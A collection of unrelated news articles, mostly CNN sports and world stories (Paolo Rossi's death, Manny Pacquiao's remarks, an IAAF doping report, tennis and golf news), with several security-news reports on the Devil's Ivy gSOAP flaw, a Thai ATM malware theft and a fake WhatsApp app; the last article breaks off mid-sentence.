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(CNN)Italian soccer great Paolo Rossi has died at the age of 64, according to Italy's national public broadcaster RAI.Rossi is best known for leading Italy to World Cup glory in 1982, scoring six goals in the tournament, including a hat-trick against Brazil in the second group stage.Rossi's wife, Federica Cappelletti, posted on Instagram a photo of her and Paolo with the caption "Per Sempre," which translates to "Forever."She did not disclose the cause of his death. View this post on Instagram A post shared by Federica Cappelletti (@cappellettifederica)
Widely regarded as one of the greatest Italian soccer players of all time, he scored 20 goals in 48 appearances for the Azzurri. Read MoreHe netted both goals in Italy's World Cup semifinal win against Poland in 1982 and the opening goal as the Italians beat West Germany 3-1 in the final, finishing the tournament in Spain with the Golden Boot as top scorer. The former Vicenza, Juventus and AC Milan player was also awarded the Golden Ball at the 1982 World Cup for the player of the tournament.In the same year, he won the Ballon d'Or, which at the time was awarded to the European footballer of the year. Only four Italians have won the prestigious award. Bruno Conti, Giancarlo Antognoni, Paolo Rossi, Dino Zoff, Francesco Graziani and Franco Selvaggi of Italy celebrate after winning the 1982 World Cup.Italian Football Federation president Gabriele Gravina said in a statement on the governing body's official website: "The disappearance of Pablito is another deep pain, a wound to the heart of all fans, difficult to heal."We lose a friend and an icon, who dragged the (1982 World Cup) national team to success with his goals, he took an entire country by the hand, which rejoiced in the streets, for him and with him."The FIGC confirmed flags were at half mast at its headquarters in Allegri and its technical center in Coverciano.In a statement, UEFA -- European football's governing body -- said a moment of silence would be held before all of Thursday's Europa League matches in memory of the former striker. During his four years at Juventus, Rossi won two Serie A titles, the European Cup and the Coppa Italia. On its website, the club said Rossi was "the hero of an unforgettable World Cup for all of Italy, but for us he was much, much more."Paolo Rossi celebrates with Giancarlo Antognoni after scoring for Italy in the 3-2 win against Brazil at the 1982 World Cup.Prior to the 1982 World Cup, Rossi had been embroiled in the "Totonero" match-fixing scandal. Banned for three years, his punishment was subsequently reduced to two, enabling Italy coach Enzo Bearzot to include Rossi in his World Cup squad."When I started playing again after two years out it was really, really tough. And Bearzot's trust was very important, as well as the support of my team-mates," Rossi told FIFA's website in a 2007 interview.He didn't score in Italy's first four World Cup games, but then netted that memorable hat-trick against Brazil."Everything suddenly changed," Rossi told FIFA's website. "Nothing was going my way and then suddenly everything was going my way. It was suddenly all so easy. Such is the beauty of sport. A goal can change everything. In my case it changed my entire life."After his soccer career, Rossi worked as a pundit for RAI."Such terribly sad news: Paolo Rossi has left us," RAI said. "Unforgettable Pablito, who made all of us fall in love in that summer of 1982 and who was a precious and competent work colleague in RAI over recent years."Rossi is the second well known World Cup winner to die in the space of two weeks, following the death of Argentine national hero Diego Maradona in November.
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Security researchers have discovered a critical remotely exploitable vulnerability in an open-source software development library used by major manufacturers of the Internet-of-Thing devices that eventually left millions of devices vulnerable to hacking.
The vulnerability (CVE-2017-9765), discovered by researchers at the IoT-focused security firm Senrio, resides in the software development library called gSOAP toolkit (Simple Object Access Protocol) — an advanced C/C++ auto-coding tool for developing XML Web services and XML application.
Dubbed "Devil's Ivy," the stack buffer overflow vulnerability allows a remote attacker to crash the SOAP WebServices daemon and could be exploited to execute arbitrary code on the vulnerable devices.
The Devil's Ivy vulnerability was discovered by researchers while analysing an Internet-connected security camera manufactured by Axis Communications.
"When exploited, it allows an attacker to remotely access a video feed or deny the owner access to the feed," researchers say.
"Since these cameras are meant to secure something, like a bank lobby, this could lead to collection of sensitive information or prevent a crime from being observed or recorded."
Axis confirmed the vulnerability that exists in almost all of its 250 camera models (you can find the complete list of affected camera models here) and has quickly released patched firmware updates on July 6th to address the vulnerability, prompting partners and customers to upgrade as soon as possible.
However, researchers believe that their exploit would work on internet-connected devices from other vendors as well, as the affected software is used by Canon, Siemens, Cisco, Hitachi, and many others.
Axis immediately informed Genivia, the company that maintains gSOAP, about the vulnerability and Genivia released a patch on June 21, 2017.
The company also reached out to electronics industry consortium ONVIF to ensure all of its members, including Canon, Cisco, and Siemens, those who make use of gSOAP become aware of the issue and can develop patches to fix the security hole.
Internet of Things (IoT) devices has always been the weakest link and, therefore, an easy entry for hackers to get into secured networks. So it is always advisable to keep your Internet-connected devices updated and away from the public Internet.
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Story highlightsManny Pacquiao apologizes after remarks on gay people cause outrage in PhilippinesEight-time boxing champion says homosexuals are "worse than animals"Pacquiao, a local politician, is running for a seat in the country's senate (CNN)Eight-time world boxing champion Manny Pacquiao has apologized after sparking outrage in the Philippines by saying gay people are "worse than animals."Follow @cnnsport
The 37-year-old, who is running for a seat in the country's senate, made the remarks on a television program broadcast by Filipino station TV5.Campaigning to secure one of 12 national seats he said: "It's common sense. Will you see any animals where male is to male and female is to female?"The animals are better. They know how to distinguish male from female. If we approve [of] male on male, female on female, then man is worse than animals."He first clarified his comments on his Instragram page, before later posting a video message on his Twitter account.I'm sorry for hurting people by comparing homosexuals to animals. Please forgive me for those I've hurt. God Bless! pic.twitter.com/bqjRcWqp8R— Manny Pacquiao (@mannypacquiao) February 16, 2016
Read More"I'm sorry for everyone who got hurt due to my comparison of gay people (homosexuals) to animals," he said. "It was my mistake. Please forgive me for those who I've hurt. "But this does not change my position against same sex marriage. That's what I believe. My only mistake is comparing gay people to animals."The first fighter to win world titles at eight different weight divisions, Pacquiao is set to retire after his bout with Timothy Bradley in April.The Filipino boxer's "super fight" in Las Vegas with Floyd Mayweather last year was the most lucrative in boxing history. Pacquiao lost a unanimous points decision.In pictures: Mayweather vs. PacquiaoPacquiao currently sits in the Philippines' House of Representatives but is often absent due to his boxing commitments.The LGBT is a group of people. We are humans. But not animals. Though we're no saints we will pray for Manny Pacquiao.— jose marie viceral (@vicegandako) February 16, 2016
Reaction to his comments was swift, with one of the country's most popular gay comedians, Vice Ganda, using the hashtag #PrayForMannyPacquiao on Twitter."The LGBT is a group of people," Ganda told his 6.7 million followers. "We are humans. But not animals. Though we're no saints we will pray for Manny Pacquiao."Pacquiao responded to the criticism on Instagram account, prior to posting a video of him back in training."I rather obey the Lord's command than obeying the desires of the flesh," wrote the boxer. "I'm not condemning anyone, but I'm just telling the truth of what the Bible says. The truth from the Bible is what changed me from my old ways."Quoting from 1 Corinthians 6:9, Pacquiao added: "Or do you not know that wrongdoers will not inherit the kingdom of God? Do not be deceived: Neither the sexually immoral nor idolaters nor adulterers nor men who have sex with men." I rather obey the Lord's command than obeying the desires of the flesh. Im not condemning anyone, but I'm just telling the truth of what the Bible says. The truth from the Bible is what changed me from my old ways. 1 Corinthians 6:9 "[9] Or do you not know that wrongdoers will not inherit the kingdom of God? Do not be deceived: Neither the sexually immoral nor idolaters nor adulterers nor men who have sex with men." God Bless everyone i love you all. @johnnybantilan @david.sisson @jinkeepacquiao A photo posted by Manny Pacquiao (@mannypacquiao) on Feb 15, 2016 at 7:06pm PST
He signed off by saying: "God Bless everyone I love you all."Several hours after that, an apology was posted on the boxer's Twitter page.The Philippines is Asia's most Catholic nation with 70 million devotees. Though gay marriages do take place, they are not recognized by the state or by the church. Ladlad, an LGBT political organization, was also quick to condemn Pacquiao's comments."Rep. Pacquiao ... betrays a shallow understanding of sexual orientation and gender identity, nay, even the very basics of science," it said in a post on its Facebook page.Pacquiao should bone up on LGBT issues OR he would be left in the Dark Ages,when the barbaric & uncivilized "numbskulls" dominated d earth.— LADLADofficial (@LADLADofficial) February 16, 2016
"His advisers—and Rep. Pacquiao himself—should bone up on LGBT issues that are becoming more important as the 21st century unfolds. "Otherwise, they would be left behind in the Dark Ages, when the cavemen ruled, and the numbskulls roamed the earth."Editor's Note: CNN's Leezel Tanglao contributed to this report
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Story highlightsIAAF "could not be unaware of the extent of doping" according to new WADA reportWADA report claims "corruption was embedded" within the IAAF (CNN)Senior figures at the International Association of Athletics Federations (IAAF), including new president Sebastian Coe, "could not have been unaware of the extent of doping in athletics," according to an independent commission report from the World Anti-Doping Agency (WADA).The 89-page report, published Thursday, claims "corruption was embedded" and "cannot be blamed on a small number of miscreants" within the IAAF, athletics' world governing body.Follow @cnnsport
Ex-IAAF president Lamine Diack, who is wanted by Interpol, was "responsible for organizing and enabling" corruption, the document said. JUST WATCHEDSeb Coe: 'These are dark days'ReplayMore Videos ...MUST WATCHSeb Coe: 'These are dark days' 03:56"Certain individuals within the IAAF went beyond sporting corruption and may have been criminal corruption. It demonstrates that the time for reform -- and nor denial -- is now," said Professor Richard McLaren, legal counsel for the commission.Lord Coe, 59, succeeded Lamine Diack as IAAF president in August, after eight years as a vice president.Read MoreCoe was not immediately available for comment, but Pound said the IAAF had a "golden opportunity" to reform with the former Olympic champion at the helm.WADA said Russia was guilty of "state-sponsored doping" in its first report published in November, leading to the IAAF banning Russian athletes from competition. The IAAF's ethics committee said earlier this month that a powerful trio blackmailed Russian distance runner Lilya Shobukhova into paying them off to keep results of her positive drug tests secret.JUST WATCHEDDoping crisis explained in 100 secondsReplayMore Videos ...MUST WATCHDoping crisis explained in 100 seconds 01:43It also alleged the Russian deputy minister for sport was told by the country's former athletics federation president Valentin Balakhnichev that it had been blackmailed by the IAAF since 2011, a claim the Russian official denies.The son of Diack, Papa Massata Diack -- a former IAAF consultant -- as well as Balakhnichev and Russia's former chief coach for long-distance athletes Alexei Melnikov, were all banned for life. The IAAF's former anti-doping director Gabriel Dollé was given a five-year ban.
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Thailand has suffered its first ATM Hack!
An Eastern European gang of criminals has stolen over 12 Million Baht (approximately US$350,000) from a total of 21 ATMs in Bangkok and other five provinces by hacking a Thai bank's ATM network; police said Wednesday
The Central Bank of Thailand (BoT) has issued a warning to all commercial banks about security flaws in roughly 10,000 ATMs that were exploited to steal cash from the machines.
The warning came shortly after the state-owned Government Savings Bank (GSB) shut down approximately 3,000 of their ATMs following an ongoing police investigation into the recent hack in which hackers were able to infect many its cash machines with malware.
GSB found that millions of Thailand Baht were stolen between August 1 and 8 from 21 ATMs across the provinces of Bangkok, Phuket, Chumphon, Prachuap Khiri Khan, Phetchaburi, and Surat Thani, the Bangkok Post reports.
The hackers made over 12.29 Million Thailand Baht (US$346,000) by inserting cards installed with malware into multiple ATMs to spew out cash, up to 40,000 Baht each transaction.
GSB President Chartchai Payuhanaveechai told the local media that the bank has reviewed security camera footage and identified potential suspects as foreign nationals who infected their cash machines with malware that forced them to dispense cash.
Payuhanaweechai also ensured its customers that they are not affected by the theft as the gang's malware only tricked the bank ATMs to release cash without authorization, not from customers' accounts.
Thai police suspect a ring of at least 25 Eastern European nationals committed the crime and link them to a similar hacking theft occurred last month when the top eight banks in Taiwan were forced to shut down hundreds of its ATMS after thieves used malware to steal NT$70 Million ($2.17 Million) in cash.
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Cybercriminals are known to take advantage of everything that's popular among people in order to spread malware, and Google's official Play Store has always proved no less than an excellent place for hackers to get their job done.
Yesterday some users spotted a fake version of the most popular WhatsApp messaging app for Android on the official Google Play Store that has already tricked more than one million users into downloading it.
Dubbed Update WhatsApp Messenger, came from an app developer who pretended to be the actual WhatsApp service with the developer title "WhatsApp Inc."—the same title the actual WhatsApp messenger uses on Google Play.
You might be wondering how the sneaky app developer was able to use the same title as the legitimate Facebook-owned maker of the messaging client—thanks to a Unicode character space.
The app maker added a Unicode character space after the actual WhatsApp Inc. name, which in computer code reads WhatsApp+Inc%C2%A0.
However, this hidden character space at the end of the WhatsApp Inc. would be easily invisible to an average Android user browsing Google Play Store, allowing this dodgy version of the app to masquerade as a product of WhatsApp Inc.
In other words, the titles used by the fake app maker and real WhatsApp service are different but appeared same to a user.
According to Redditors, who first spotted this fake app on Friday, the app was not a chat app; instead, it served Android users with advertisements to download other apps.
"I've also installed the app and decompiled it," one Redditor said. "The app itself has minimal permissions (internet access) but it's basically an ad-loaded wrapper which has some code to download a second apk, also called 'whatsapp.apk.' The app also tries to hide by not having a title and having a blank icon."
Google has now removed the fake WhatsApp Android app from its official Play Store, but this incident once again marked the tech giant's failure to spot the scam on its app platform—even for the program that had more than a million downloads.
It is an unfortunate truth that even after so many efforts by Google (even recently launched Bug Bounty Program), malicious apps continuously somehow managed to fool its Play Store's security mechanism and infect millions of Android users.
Google Play Store is still surrounded by hundreds of other fake and malicious apps that trick users into downloading and installing them and potentially infect their smartphones to carry out malicious things without their knowledge.
So, users are advised to be more vigilant while downloading apps not only from the third-party app store but also from official Play Store in order to protect themselves.
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Story highlightsAndy Murray pulls out of Toronto Masters 1000 tournament 2012 Olympic singles champion has a knee injury Murray was due to play Canada's Milos Raonic in last 16Rafael Nadal out of Cincinnati Masters with knee problemOlympic gold medalist Andy Murray was forced to pull out of the Toronto Masters Thursday with a knee injury.Murray flew into Canada after his gold medal triumph at Wimbledon Sunday over Roger Federer and duly swept aside Italian Flavio Cipolla in his first match.But he withdrew before his last 16 clash with home hope Milos Raonic."It's unfortunate. I think it would have been a fun match," Murray told the official ATP website. "I hope he has a good tournament. Be great for him to go deep in this tournament here for the first time."Britain's Murray had received treatment on court during his Wednesday win over Cipolla and decided not to risk it ahead of the final grand slam of the season at the U.S. Open later this month."It was a bit sore yesterday, then I had some treatment after the match. It felt a bit better, and then came in today, I saw the physios, they did some work on it, and it's still a bit sore."Canada's Raonic spoke with Murray and wished him to "get healthy quick" before adding: "It's my first quarterfinal in a Masters and to be at home is pretty special. I guess there is a give and take with it."Serbia's Novak Djokovic, the top seed, was facing American Sam Querrey for a place in the quarterfinals later Thursday.Meanwhile, Spain's Rafael Nadal has also withdrawn from next week's Cincinnati Masters event due to due to the left knee soreness that has sidelined him since Wimbledon and forced him to miss the Olympic tennis event.
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(CNN)A man died after attempting to throw a grenade over the wall of the US Embassy early Thursday in Montenegro's capital of Podgorica, authorities said.A grenade appeared to have gone off as it was thrown into the air, and the man detonated a second device that killed him, police said, calling the death a suicide. The man's body was found 100 feet from the embassy's wall, according to Steve Goldstein, US undersecretary of state for public diplomacy and public affairs. The man's motive for throwing the device was unclear, Goldstein said.One grenade was thrown into the embassy courtyard, while a second one killed the unidentified male, according to the government of the Balkan country.In a statement, Montenegrin police confirmed they had found the "lifeless body of an unidentified male."Read MorePolice guard the entrance to the US Embassy compound in Podgorica after Thursday's explosion."According to the investigation so far, this male person was killed due to the activation of an explosive device after having previously thrown an explosive device -- a bomb -- into the US Embassy courtyard," the statement said.Police said the embassy incurred no damage "other than the crater remaining at the site where the bomb exploded," adding that "evidence from the site has been collected and it will be subject to expert evaluation."At 00:30, in front of the @USEmbassyMNE building in #Podgorica, #Montenegro an unknown person committed suicide with an explosive device. Immediately before, that person threw an explosive device from the intersection near the Sport Center into the US Embassy compound. (1 of 2)— Govt. of Montenegro (@MeGovernment) February 22, 2018
The embassy issued a statement Thursday morning saying there was "an active security situation" near the building in Podgorica.In a post later on Twitter, the embassy said, "Following our internal review, Embassy at Podgorica confirms all Mission personnel are safe and accounted for following the incident early this morning. Thank you all for sending us your support and kind thoughts. #Podgorica #Montenegro."In a follow-up tweet, it added, "We are grateful for the close cooperation with our partner and ally, the Government of Montenegro, and we thank the #Montenegrin #police for their ongoing professional support with the investigation of today's incident."Goldstein said there were no other injuries or damage to the embassy, and security officers were continuing a full sweep of the area.CNN's Milena Veselinovic contributed to this report.
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(CNN)A light aircraft overloaded with cocaine crashed on take-off on its way to Australia, police said on Saturday, exposing a Melbourne-based crime syndicate and leading to the arrest of five men with alleged links to the Italian mafia.The Cessna aircraft, which was stuffed with more than 500 kilograms (1,100 pounds) of cocaine, went down while attempting to leave a remote airstrip in Papua New Guinea on July 26.Australian Federal Police said in a statement that "greed played a significant part in the syndicate's activities" and added they "cannot rule out that the weight of the cocaine had an impact on the planes (sic) ability to take off."Five suspects were arrested in Queensland and Victoria in recent days, and have been charged with conspiring to import over 500 kilograms of cocaine and a number of related offenses. They each face a maximum sentence of life in prison if convicted. The pilot was also arrested two days later, after surrendering himself to police.Police in Italy find shipment of coffee beans stuffed with cocaine Authorities said the plane had flown to Papua New Guinea from the small town of Mareeba in Far North Queensland, flying at about 3,000 feet to avoid detection by radar.Read MoreThe cocaine stash was eventually found on Friday after a search of the area. Its total value was estimated to be around 80 million Australian dollars ($57M USD), the equivalent of about 500,000 street deals."With current interstate travel restrictions in place due to COVID-19, the attempt to import illicit drugs into Australia shows how opportunistic and greedy organised crime can be," AFP deputy commissioner Ian McCartney said in a statement.The arrested men -- aged 31, 36, 31, 33, and 61 -- were charged with a variety of crimes. The first man arrested faces charges of directing activities of a criminal syndicate and money laundering of over $1m AUD. A number of assets were seized by police, with an estimated total value of $3.5 million AUD.The drugs bust is one of the largest in recent Australian history. In 2016, a similar-sized 500 kilogram haul of cocaine was seized by officers in New South Wales.CNN's Angus Watson contributed reporting.
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Story highlights"It was like opening a book from yesterday," the teen-ager's father saidA wallet, three condoms and some ID papers were found with the remains (CNN)A 14-year-old Danish boy doing research for a history class found the wreckage of a German World War II plane with the remains of the pilot in the cockpit.Daniel Kristiansen and his father, Klaus, discovered what's believed to be a Messerschmitt fighter plane buried in a field on their farm near Birkelse in northern Denmark."We went out to the field with a metal detector," Klaus Kristiansen told CNN. "I hoped we might find some old plates or something for Daniel to show in school."Instead, they found bits of plane debris. So they borrowed an excavator from a neighbor and dug down seven or eight meters.WWII-era plane mystery: Who are Eva and Edith?"At first we were digging up a lot of dirt with metal fragments in it. Then we suddenly came across bones and pieces of clothes," Kristiansen said. "It was like opening a book from yesterday."Read MoreKristiansen remembered being told by his grandfather, who lived on the farm during World War II, that a German plane had crashed there."We think it was around November or December 1944," Kristiansen said. He recalled his grandfather once telling him that when the plane crashed, he was making Christmas cookies with Kristiansen's grandmother and his uncle, who was a young boy at the time.The World War II aircraft was found buried in this field in Northern Jutland. But he also said his grandfather had told him the German occupying force had removed the plane. "I mainly thought it was just a good story," Kristiansen said. Karsten Kristensen, superintendent at the North Jutland Police, said authorities believe the aircraft is a Messerschmitt fighter plane. An explosive ordinance team is now working at the site to secure any ammunition or other dangerous materials. The curator at the Historical Museum of Northern Jutland, which now has the pilot's possessions and the remains of the plane, believes his team will soon be able to confirm the man's identity.Hitler's phone, 'the most destructive 'weapon' of all time,' sold for $243,000"We found the pilot's papers, and I think we have a name," Torben Sarauw, curator and head of archaeology at the museum, said.Sarauw believes the pilot came from the training base for German pilots in Aalborg, a nearby city. Along with the pilot's suit, hat and three unused condoms, they also have his wallet, which contained two Danish coins and some food stamps for the canteen at the Aalborg base."It's quite a special find," Sarauw said. He believes it's the first time a German plane has been found buried in this way in Denmark. The debris of the fighter plane is now at a museum of Northern Jutland.Kristiansen hopes that the pilot's relatives can be found and the remains returned to Germany. "Maybe he can have a proper funeral," he said.The German Embassy has been informed of the discovery, the police superintendent said.
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Story highlightsFamily and friends attend a military funeral service held for slain soldier Lee RigbyHis commanding officer pays tribute to his charisma and courageRigby was killed in a daylight attack in southeast LondonFamily and friends attended a military funeral Friday to pay tribute to Lee Rigby, the British soldier killed in an attack in southeast London in May. Crowds gathered outside Bury Parish Church, near Manchester, and lined streets nearby to listen as the service was relayed by loudspeaker.Rigby's commanding officer, Lt. Col. Jim Taylor of the 2nd Battalion, The Royal Regiment of Fusiliers, described the 25-year-old as a man who was "truly charismatic" and "larger than life."Rigby had fulfilled a lifelong ambition to be a soldier and served with enthusiasm and courage, he said.JUST WATCHEDRigby's widow: I'm proud to be his wifeReplayMore Videos ...MUST WATCHRigby's widow: I'm proud to be his wife 03:37The service was to be followed by a private family burial.Rigby was killed in a daylight attack on May 22 near the Woolwich barracks where he was based.Two men, Michael Adebowale, 22, and Michael Adebolajo, 28, are accused of his murder.A preliminary trial date has been set for November.
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Call to Earth is a CNN initiative in partnership with Rolex. Nnaemeka Ikegwuonu is a Rolex Awards Laureate. (CNN)In the bustling Ogere Market in Ogun State, Nigeria, the race is on to sell fresh produce early in the day. By noon, the sun is at its peak, and with temperatures soaring, food spoils fast. As the day wears on, food can sell at less than half of its original value, slashing profits for retailers and farmers. That's why Nnaemeka Ikegwuonu decided to take a fresh approach to food waste. He's the founder of ColdHubs, which provides solar-powered food storage units designed for markets and farms. The 39-year-old has won countless awards for the initiative and has just been announced as the joint winner of the $1.5 million AYuTe Africa Challenge, for promising young innovators who are using technology to reimagine food production on the continent. Photos: These startups are revolutionizing how we manage wasteWith over 2 billion metric tons of waste produced annually, there's an urgent need to change the way we handle our trash. Luckily, startups are coming up with countless innovations, from smart bins to fly larvae that eat food waste. Look through the gallery to see some cutting-edge waste management solutions.Hide Caption 1 of 9 Photos: These startups are revolutionizing how we manage wasteColdHubs are 10-foot-square solar-powered cold storage units that have been installed at markets and farms in Nigeria. They can keep produce fresh for up to 21 days, preventing food from spoiling.Hide Caption 2 of 9 Photos: These startups are revolutionizing how we manage wasteSingapore-based Insectta uses black soldier fly larvae to convert food waste into fertilizer and animal feed (pictured). Now, the startup is developing a method to extract high-value biomaterials like chitosan and melanin from the black soldier flies. Hide Caption 3 of 9 Photos: These startups are revolutionizing how we manage wasteRecycling Technologies also uses circular waste management solutions to tackle plastic waste. The UK-based company uses "chemical recycling" that breaks down plastics using high temperatures into an oil-like liquid called Plaxx. This is then used to manufacture more plastic, increasing the sustainability of the production process.Hide Caption 4 of 9 Photos: These startups are revolutionizing how we manage wasteThis smart-bin from Bin-e has sensors and uses artificial intelligence to recognize and sort objects. It automatically opens when approached with trash, compresses waste, and notifies the waste disposal company when the bin is full -- automating waste management. Hide Caption 5 of 9 Photos: These startups are revolutionizing how we manage wasteSome companies are trying a different approach: to minimize the waste produced in the first place. Apeel uses plant-based materials to create a tasteless, biodegradable exterior "peel" for fruits and vegetables to extend their shelf-life. In May, it announced an imaging technology that would allow monitoring of ripeness, nutritional content and other indicators of the quality of the produce. Hide Caption 6 of 9 Photos: These startups are revolutionizing how we manage wasteLoop is reducing single-use packaging by partnering with a range of brands including Häagen-Dazs, Pantene and The Body Shop, to sell their products in containers which buyers can return after use, to be cleaned and reused. Initially available only online, Loop is now available in retail stores around the world. Hide Caption 7 of 9 Photos: These startups are revolutionizing how we manage wasteShareWaste connects those who want to get rid of food scraps sustainably with composting operations, helping users find eco-conscious solutions for organic waste in their area. Compost enriches soil quality and helps it stay moist -- even a small amount of compost in the upper layer of soil helps retain up to 27,000 gallons of water per acre. Hide Caption 8 of 9 Photos: These startups are revolutionizing how we manage wasteToo Good to Go connects consumers with bakeries, restaurants and supermarkets. The vendors offer customers "surprise bags" containing surplus food at the end of the business day. Launched in 2016, the company says that its venture, involving over 42 million users, has helped save over 88 million meals to date.Hide Caption 9 of 9Officially launched in 2015, ColdHubs now has 54 units in 22 states across Nigeria. More than 5,250 smallholder farmers, retailers, and wholesalers use its cold rooms and in 2020, the company stored 40,000 tons of food, reducing waste and increasing farmers' profits. "This is food meant for human consumption that we typically lose along the supply chain, either during harvesting, transportation, or distribution," says Ikegwuonu. "The mission really is to reduce food spoilage due to lack of cold food storage at key points along the food supply chain." Read MoreTackling a food waste crisisNigeria is ranked 100 out of 113 countries on the Global Food Security Index. Over 88 million people in the country face food insecurity and 12% are undernourished. The problem isn't a lack of food, though: it's an excess of waste. An alarming 40% of the food Nigeria produces every year is lost before it even reaches consumers. That's equal to 31% of its total land use, according to the World Bank, and accounts for 5% of the country's greenhouse gas emissions. How floating islands can make urban waterways green and clean Ikegwuonu's ColdHubs are 10-foot-square cold storage units which keep produce fresh for up to 21 days. Conventional cold storage units of this size would be powered by diesel generators and require 20 to 30 liters of diesel every day, says Ikegwuonu -- but by using solar panels instead, he says that across all its units, the company prevents over 1 million kilograms of CO2 entering the atmosphere each year, while powering the units 24/7. According to the UN, food waste accounts for up to 10% of global greenhouse gas emissions, so finding solutions to reduce waste could be vital in the fight against climate change. Storing a crate of produce in the ColdHub costs around 25 cents per day, and has helped farmers and retailers double their monthly earnings, says Ikegwuonu: "This has been achieved by selling produce that was previously thrown away, sold off at the right price." ColdHubs are now available at farms and markets in 22 Nigerian states.Scaling upLooking to the future, Ikegwuonu says ColdHubs is also developing technology to freeze produce, for fishing communities in the Niger Delta. "Most of the coastal communities don't have access to energy at all," he says, adding that these freezer storage units would also have the capacity to produce ice blocks. Ikegwuonu also wants to extend his social impact by creating gender parity and jobs in a country where around 35% of all employment is in agriculture, and 90% of rural livelihoods depend on it."We have been able to create about 66 new jobs for women," he says. "Many of these women have become empowered and change agents in their households and communities."Ikegwuonu says his current focus is on expanding the business further in Nigeria -- but in the next decade, he has his sights set on other countries struggling with similar food waste problems. "The big dream for us is to solve the problem of food spoilage in Nigeria, and expand our technology and service to other African countries that have these challenges," he says.
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Story highlightsSloane Stephens will play Serena Williams in the quarterfinals of the Australian OpenStephens beat Serbia's Bojana Jovanovski, while Williams eased past Maria KirilenkoDefending champion Victoria Azarenka into the last eight after win against Elena VesninaFormer world No. 1 Caroline Wozniacki beaten by Russian Svetlana KuznetsovaAs a child, Sloane Stephens decorated her bedroom walls with pictures of the Williams sisters. Later this week, the 19-year-old will play third seed Serena Williams in her first grand slam quarterfinal at the Australian Open.Stephens, seeded 29th, battled hard on Monday to see off the challenge of Serbia's Bojana Jovanovski 6-1 3-6 7-5 and set up a last eight tie with 15-time grand slam winner Williams.The pair played each other in the recent Brisbane International event, with Williams emerging with a 6-4 6-3 triumph.Read: Can Sloane succeed Serena and Venus?"You've just got to go and treat it like another match," Stephens told a post-match press conference. "It wasn't like, 'Oh, my God, I played Serena, I'm going to be so great at all these other things because she just taught me so much.'JUST WATCHEDHow do you beat Serena Williams?ReplayMore Videos ...MUST WATCHHow do you beat Serena Williams? 01:19JUST WATCHEDIs Serena Williams the greatest ever?ReplayMore Videos ...MUST WATCHIs Serena Williams the greatest ever? 04:12JUST WATCHEDWilliams sisters show off dancing skillsReplayMore Videos ...MUST WATCHWilliams sisters show off dancing skills 01:54"It was just another match, regular match. Little things that you just take and move on. That was two weeks ago now, three weeks ago ... I played seven other matches or eight other matches, so I'm kind of past what happened then."But I think definitely just treat it as another match. You just go out and do your best."Williams continued her imperious run of form with a 6-2 6-0 defeat of Russia's No. 14 Maria Kirilenko. The 31-year-old is aiming to secure a sixth success at the Melbourne grand slam.World No. 1 Victoria Azarenka could face Williams in the semifinals. The defending champion eased into the last eight with a straight-forward 6-1 6-1 win against Russian Elena Vesnina."I was focused and in control from the beginning," said Belarus' Azarenka. "That was important for me. I feel like I'm improving from match to match. I just want to keep going the same way."Next up for Azarenka is another Russian in the shape of Svetlana Kuznetsova, who got the better of former world No. 1 Caroline Wozniacki. Denmark's Wozniacki is still searching for the first grand slam title of her career."You obviously don't feel great when you lose, so I think that's pretty obvious," explained 10th seed Wozniacki. "But it was a close game. I had my chances and I didn't take them. I could have won but I didn't."I'm encouraged about the way I played and the way I came out of some situations and the way I was playing the points. Obviously I would have loved to have won today, but it didn't happen."
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(CNN)Speaking about Saturday's controversial US Open final, Billie Jean King, the tennis legend and equal rights advocate, told CNN's Christiane Amanpour that Serena Williams was "out of line," but umpire Carlos Ramos aggravated the situation."Serena was out of line, there's no question, no one's saying she was a good sport," King said. "The point is he [Ramos] aggravated the situation."What was supposed to be a fairy-tale matchup for Japan's Naomi Osaka and the player she idolizes spun out of control Saturday after Williams was handed code violations that she described as unfair.It started when chair umpire Carlos Ramos warned Williams for receiving coaching, and eventually ended up with accusations of sexism in the aftermath. Williams, furious over the first call, approached the net and told Ramos: "I don't cheat. I'd rather lose." The match unraveled after that.Williams smashes her racket while playing against Osaka."I felt like at the very beginning he blew it," King said. "As an umpire you're supposed to keep the flow of the match going and he did just the opposite." Read MoreREAD: US Open umpire 'thrown under the bus' While King said that Serena Williams was "out of line" for her subsequent behavior -- which included cracking her racket and calling Ramos "a thief" -- she emphasized that Ramos didn't control the match.King suggested that "everything would have been different" if Ramos had told Williams he wasn't attacking her character from the outset.Asked about whether sexism played a role in the match, King said that it was still an issue in the world of tennis."Men are outspoken when they stand up for themselves. And women are looked at as hysterical," King said. "We are not. We are also speaking up." King had tweeted a similar statement after the match, thanking Williams for calling out the double standard..@BillieJeanKing: "Men are outspoken when they stand up for themselves. And women are looked at as hysterical. We are not. We are also speaking up." pic.twitter.com/P34kK3Q410— Christiane Amanpour (@camanpour) September 11, 2018
King said that moving forward, the game has to change, suggesting that coaching should be allowed and umpires need to communicate calls better."Out of crisis creates opportunity," King said. "This is an opportunity for us to get it right."And on the future of the sport, King said she's looking forward to seeing more of Osaka."She's going to be a superstar and she already is, but now it's just the beginning," King said. "There should be no asterisk, she won fair and square. She was definitely playing better than Serena from the get-go, so this is hers and hers 100% no matter what was happening with the chaos."
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Story highlightsRory McIlroy: 'I didn't get into golf to try and grow the game'Jordan Spieth pulled out of Rio 2016 on MondayWorld's top four players to miss Rio as golf makes return (CNN)Rory McIlroy has said he does not feel he has let golf down by missing the Rio Olympics amid fears over the Zika virus.McIlroy added that he may not even tune in to watch golfers in action at the Games. His comments came after Jordan Spieth announced his decision not to play at Rio Monday -- a decision meaning none of the world's top four will be part of the sport's return to the Summer Games for the first time since 1904.JUST WATCHEDWorld No. 1 golfer Jason Day cancels Rio plansReplayMore Videos ...MUST WATCHWorld No. 1 golfer Jason Day cancels Rio plans 00:35JUST WATCHEDHow bad is Zika in Rio?ReplayMore Videos ...MUST WATCHHow bad is Zika in Rio? 02:29Speaking at a news conference before this week's Open Championship in Scotland, where the game's leading players have assembled for the third major tournament of the golf season, McIlroy said: "I don't feel like I've let the game down at all."I didn't get into golf to try and grow the game -- I got into golf to win championships and win major championships.Read More"I'll probably watch the Olympics, but I'm not sure golf will be one of the events I watch. Probably the events like track and field, swimming, diving -- the stuff that matters."Read: No. 1 Day - I can't take Zika riskTold that Spieth had described his decision not to play in Rio as the most difficult he had ever made, McIlroy responded: "Honestly, I don't think it was as difficult a decision for me as it was for him. "I get where different people come from, and different people have different opinions. But I'm very happy with the decision that I've made, and I have no regrets about it."But International Olympic Committee (IOC) president Thomas Bach told German news agencies SID and DPA the withdrawals did not help "the attractiveness of the golf competition."He said: "These are individual decisions taken by the players that stand in contrast to World Health Organisation recommendations. "The IOC, of course, has to respect the decisions of the athletes. But it is obvious that this does not help the attractiveness of the golf competition. "You 